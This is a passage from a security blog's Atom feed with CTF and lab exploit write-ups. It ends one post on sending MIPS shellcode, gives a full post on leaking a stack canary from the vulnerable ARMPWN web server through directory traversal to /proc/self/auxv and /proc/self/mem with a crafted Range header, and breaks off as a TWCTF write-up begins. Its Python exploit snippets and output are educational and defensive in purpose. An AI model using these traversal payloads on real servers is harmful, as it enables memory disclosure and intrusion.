&lt;&#x2F;span&gt;&lt;span&gt;arch, mode, endian = keystone.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KS_ARCH_MIPS&lt;&#x2F;span&gt;&lt;span&gt;, keystone.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KS_MODE_MIPS32&lt;&#x2F;span&gt;&lt;span&gt;, keystone.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KS_MODE_BIG_ENDIAN
&lt;&#x2F;span&gt;&lt;span&gt;ks = keystone.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Ks&lt;&#x2F;span&gt;&lt;span&gt;(arch, mode | endian)
&lt;&#x2F;span&gt;&lt;span&gt;sc, cnt = ks.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;asm&lt;&#x2F;span&gt;&lt;span&gt;(shellcode)
&lt;&#x2F;span&gt;&lt;span&gt;log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;keystone compiled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; instructions&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % cnt)
&lt;&#x2F;span&gt;&lt;span&gt;sc = &amp;quot;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(x) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;sc])
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(sc)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;&#x2F;strong&gt;: as &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;0xGrimmlin](https:&amp;#x2F;&amp;#x2F;twitter.com&amp;#x2F;0xGrimmlin) [mentioned&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@0xGrimmlin](https:&amp;#x2F;&amp;#x2F;twitter.com&amp;#x2F;0xGrimmlin) [mentioned&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
, during the CTF,
the challenge was actually QEMU chroot-ed, so technically this shellcode would
not have worked, but you could similarly build another one doing
open&#x2F;read&#x2F;write(stdout)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;fire&quot;&gt;Fire&lt;&#x2F;h4&gt;
&lt;p&gt;We have now all the components to launch our exploit. The final version is
available
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;3e64b7cae4de38ba153a23e5491bff24&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;VJgWcia.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;VJgWcia.png&quot;

    

    
    title=&quot;image_alt22&quot;
    alt=&quot;image_alt22&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h3&gt;
&lt;p&gt;This is it… Well not really. The ultimate challenge was to craft a shellcode
to connect to tcp&#x2F;31337. But the way we used to solve this challenge in the last
sections of this blog post makes it trivial to extend (by simply establishing a
TCP connection) and solve the final challenge. I
will leave this to the reader’s curiosity  ☺&lt;&#x2F;p&gt;
&lt;p&gt;I will just conclude this post by thanking
the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;insomnihack.ch&quot;&gt;Insomni’hack&lt;&#x2F;a&gt; team for putting up together such fun
and original challenges. And also, huge congratulations 🥂 to the few teams who scored this
challenge during the CTF.&lt;&#x2F;p&gt;
&lt;p&gt;Hope you enjoyed this article, and see you next time for more challenges…&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ARMPWN redux: canary reloaded</title>
        <published>2017-01-24T00:00:00+00:00</published>
        <updated>2017-01-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-01-24-armpwn-redux-canary-reloaded/"/>
        <id>https://blahcat.github.io/2017-01-24-armpwn-redux-canary-reloaded/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-01-24-armpwn-redux-canary-reloaded/">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;: It is possible to defeat stack canary protection when a binary is vulnerable to
arbitrary file read.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;&#x2F;h1&gt;
&lt;p&gt;First of, Happy New Year 2017 ✌&lt;&#x2F;p&gt;
&lt;p&gt;Recently, I’ve decided to thoroughly investigate the “&lt;em&gt;Stack Smashing
Protection&lt;&#x2F;em&gt;” (SSP) on recent Linux and recent Glibc. This research has led to a
blog post available on &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.elttam.com.au&#x2F;blog&quot;&gt;elttam R&amp;amp;D blog&lt;&#x2F;a&gt;. Among
many other things, I’ve found that canaries built with recent glibc may have
their values leaked, should the program be also vulnerable to an arbitrary file
read access, and if it exposes its
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.elttam.com.au&#x2F;blog&#x2F;playing-with-canaries#auxiliary-vector&quot;&gt;Auxiliary Vector&lt;&#x2F;a&gt; via
the &lt;code&gt;procfs&lt;&#x2F;code&gt; structure.&lt;&#x2F;p&gt;
&lt;p&gt;All the details regarding the following attack on the canary are explained in
this blog post, so I will assume that you are familiar with it. If you’re not:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;the full article is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.elttam.com.au&#x2F;blog&#x2F;playing-with-canaries&quot;&gt;here&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;the code repository is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;elttam&#x2F;canary-fun&quot;&gt;there&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;In the article, I imagined the attack scenario would apply perfectly well to a
Web or FTP server, and would occur following those steps:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;dump &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;auxv&lt;&#x2F;code&gt; to get the &lt;code&gt;AT_RANDOM&lt;&#x2F;code&gt; location&lt;&#x2F;li&gt;
&lt;li&gt;read &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;mem&lt;&#x2F;code&gt; and force an &lt;code&gt;lseek&lt;&#x2F;code&gt; access to reach the location found
above via
the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7233#page-8&quot;&gt;HTTP header Range&lt;&#x2F;a&gt; (for
instance &lt;code&gt;Range: bytes=&amp;lt;0xAT_RANDOM_LOCATION&amp;gt;-&amp;lt;0xAT_RANDOM_LOCATION+16&amp;gt;&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Truncate the received buffer to &lt;code&gt;sizeof(register)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Nullify the last byte (&lt;code&gt;result &amp;amp;= ~0xff&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;That was the theory, which made perfect sense, but I wanted a practice
case.&lt;&#x2F;p&gt;
&lt;p&gt;Earlier this year, I &lt;a href=&quot;&#x2F;posts&#x2F;2016&#x2F;06&#x2F;13&#x2F;armpwn-challenge-write-up.html&quot;&gt;had some fun with ARMPWN&lt;&#x2F;a&gt;, a vulnerable web server
created by  &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;5aelo&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@5aelo&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 to practice
exploitation on ARM, so I have decided to use it for a practical, yet very
realistic exploit case.&lt;&#x2F;p&gt;
&lt;p&gt;You can download:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;00d74ecac86297efc6772e415f307176&quot;&gt;the new websrv.c here&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;c2dbc3e3c11836dcebf53a2189f35976&quot;&gt;or simply the patch here&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;patch-analysis&quot;&gt;Patch analysis&lt;&#x2F;h2&gt;
&lt;p&gt;This cheap patch provides to the “new” &lt;code&gt;websrv&lt;&#x2F;code&gt; the (pseudo-)capability to
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;00d74ecac86297efc6772e415f307176#file-websrv-c-L181-L201&quot;&gt;parse the HTTP Range header&lt;&#x2F;a&gt;
provided by the client. This is basically how modern Web servers (Apache, nginx)
treat this header.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;unsigned long&lt;&#x2F;span&gt;&lt;span&gt; start, end;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span&gt;*ptr;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; r;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;start = end = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;ptr = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;get_range_header&lt;&#x2F;span&gt;&lt;span&gt;(request, len);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(ptr){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;get_ranges_from_header&lt;&#x2F;span&gt;&lt;span&gt;(ptr, &amp;amp;start, &amp;amp;end)==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(start &amp;amp;&amp;amp; end){
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; reading range of file &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39; from &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%u&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%u&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;inet_ntoa&lt;&#x2F;span&gt;&lt;span&gt;(client.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sin_addr&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;htons&lt;&#x2F;span&gt;&lt;span&gt;(client.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sin_port&lt;&#x2F;span&gt;&lt;span&gt;), file, start, end);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lseek&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fileno&lt;&#x2F;span&gt;&lt;span&gt;(f), start, SEEK_SET)==-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;perror&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;lseek() failed:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the earlier exploit, we had exploited the Directory Traversal to dump the
process memory mapping (via &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;maps&lt;&#x2F;code&gt;) and defeat PIE &amp;amp; ASLR. To crush
SSP protection, we managed to get the canary value by brute-forcing it, which is
very noisy (the canary can be found in max. of 4*256=1024 HTTP requests on a
32-bit architecture, 2048 on 64-bit) and risky (the memory corruption may alert
of an on-going attack).&lt;&#x2F;p&gt;
&lt;p&gt;But now we can actually do much better: we have all the conditions
mentioned earlier to exfiltrate the canary’s value, thanks to the ELF Auxiliary
Vector.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h2&gt;
&lt;p&gt;This approach is a lot more stable and stealthier than canary brute-forcing,
since we don’t rely on any memory corruption&#x2F;process crash to determine the
valid bytes of the canary
&lt;a href=&quot;&#x2F;2016&#x2F;06&#x2F;12&#x2F;armpwn-challenge#leaking-the-canary&quot;&gt;as we did before&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;find-at-random-from-the-auxiliary-vector&quot;&gt;Find AT_RANDOM from the Auxiliary Vector&lt;&#x2F;h3&gt;
&lt;p&gt;So first, we need to read the process &lt;em&gt;Auxiliary Vector&lt;&#x2F;em&gt; exposed via &lt;code&gt;procfs&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;GET ..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;proc&#x2F;self&#x2F;auxv HTTP&#x2F;1.0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n\r\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And then parse the result:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AT_RANDOM &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;25
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;data = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recv&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    code = struct.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;unpack&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;I&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, data[i:i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;])[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;code==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AT_RANDOM&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        at_random_address = struct.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;unpack&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;I&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, data[i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;])[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we did things correctly, this will store in the variable &lt;code&gt;at_random_address&lt;&#x2F;code&gt;
the address of the 16 random bytes provided by the kernel, used to create the
canary.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;l-seeking-the-process-memory-via-the-http-range-header&quot;&gt;(l)seeking the process memory via the HTTP Range header&lt;&#x2F;h3&gt;
&lt;p&gt;Since &lt;code&gt;procfs&lt;&#x2F;code&gt; also exposes the process memory, we can use &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;mem&lt;&#x2F;code&gt; to
seek to the address we’ve found at the step above.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;m = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;GET ..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;proc&#x2F;self&#x2F;mem HTTP&#x2F;1.0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;m+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Range: bytes=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{:d}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{:d}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n\r\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(at_random_address,at_random_address+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(m)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-warning
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-alert mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Warning
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;&lt;code&gt;yama&#x2F;ptrace_scope&lt;&#x2F;code&gt; must be set to 0 to be able to read the process
memory.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h3 id=&quot;fire&quot;&gt;Fire!&lt;&#x2F;h3&gt;
&lt;p&gt;The final exploitation script which combines all the steps described above can
be found &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;a462b398721bfb7e6bbd678b6d0e852b&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python armpwn_leak_canary.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rpi2-1:80&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Leaking AUVX
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; AT_RANDOM=0xbe8409c5
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Forging HTTP request using Range
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Canary is 0xd998d300
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To be we fetched the correct value for the canary of the remote process, we can use &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;elttam&#x2F;canary-fun&#x2F;blob&#x2F;master&#x2F;read_canary_from_pid.py&quot;&gt;this script&lt;&#x2F;a&gt; locally to compare the values for the canary:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;IWpuMIy.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;IWpuMIy.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;This exploitation shows a different way to leak the canary value, and therefore defeat the SSP protection. As you may have noticed, since this attack does not rely on memory corruption, it is extremely reliable. And it is also much faster: the canary brute-force can take up 4x256 (or resp. 8x256 for 64-bits) requests to determine, where this approach found the same value with only 2 requests.&lt;&#x2F;p&gt;
&lt;p&gt;This illustrates once again the need to maintain a system as hardened as possible, especially on production systems, since restricting &lt;code&gt;ptrace&lt;&#x2F;code&gt;, or refusing to expose AUXV like GrSec does, would defeat this attack.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks for reading, and as usual drop me a line on IRC&#x2F;Twitter&#x2F;email for any question&#x2F;comment ☕&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>TWCTF 2016 - reverse_box writeup</title>
        <published>2016-09-06T00:00:00+00:00</published>
        <updated>2016-09-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-09-06-twctf-2016-reverse-box-writeup/"/>
        <id>https://blahcat.github.io/2016-09-06-twctf-2016-reverse-box-writeup/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-09-06-twctf-2016-reverse-box-writeup/">&lt;p&gt;The &lt;code&gt;reverse_box&lt;&#x2F;code&gt; challenge of TWCTF 2016 was a warmup challenge (only 50
points), not really hard. There
